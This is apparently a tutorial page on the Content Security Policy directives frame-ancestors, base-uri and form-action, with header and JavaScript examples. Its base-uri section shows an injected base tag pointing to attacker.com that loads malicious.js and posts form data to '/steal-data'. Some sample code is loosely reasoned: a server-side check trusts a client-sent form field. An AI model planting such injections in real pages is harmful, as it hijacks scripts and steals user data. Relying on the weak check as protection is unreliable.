Document Directives - Controlling Page Behavior
Document Directives - Controlling Page Behavior
Document directives govern how the browser should handle the document itself, including framing, base URLs, and form submissions.
frame-ancestors: Clickjacking Protection
The frame-ancestors
directive controls which sources can embed your page in frames, iframes, or other embedding contexts. It's more powerful than the X-Frame-Options
header.
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;
Advanced frame-ancestors configurations:
// Dynamic frame-ancestors based on partner relationships
function generateFrameAncestors(req) {
const partners = getAuthorizedPartners(req.hostname);
if (partners.length === 0) {
// No framing allowed
return "frame-ancestors 'none'";
} else if (partners.includes('*')) {
// Allow specific partners only
return `frame-ancestors 'self' ${partners.filter(p => p !== '*').join(' ')}`;
} else {
// Restrict to self and specific partners
return `frame-ancestors 'self' ${partners.join(' ')}`;
}
}
base-uri: Protecting Against Base Tag Injection
The base-uri
directive restricts which URLs can be used in a document's <base>
element, preventing attackers from changing the base URL for all relative URLs.
Content-Security-Policy: base-uri 'self';
Example of base-uri protection:
<!-- With base-uri 'self', this would be blocked if injected by an attacker -->
<base href="https://attacker.com/">
<!-- All relative URLs would be resolved against the attacker's domain -->
<script src="/malicious.js"></script> <!-- Would load from attacker.com -->
<form action="/steal-data"></form> <!-- Would submit to attacker.com -->
form-action: Form Submission Control
The form-action
directive restricts where forms can be submitted, providing protection against form hijacking.
Content-Security-Policy: form-action 'self' https://payment.processor.com;
Implementing secure form handling:
// Server-side form action validation
app.post('/submit-form', (req, res) => {
const allowedActions = ['self', 'https://payment.processor.com'];
const formAction = req.body._formAction;
if (!isAllowedAction(formAction, allowedActions)) {
res.status(403).send('Form submission blocked by CSP');
return;
}
// Process form...
});
// Client-side form validation
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', (e) => {
const action = form.action;
if (!isCSPCompliant(action)) {
e.preventDefault();
console.error('Form action violates CSP');
}
});
});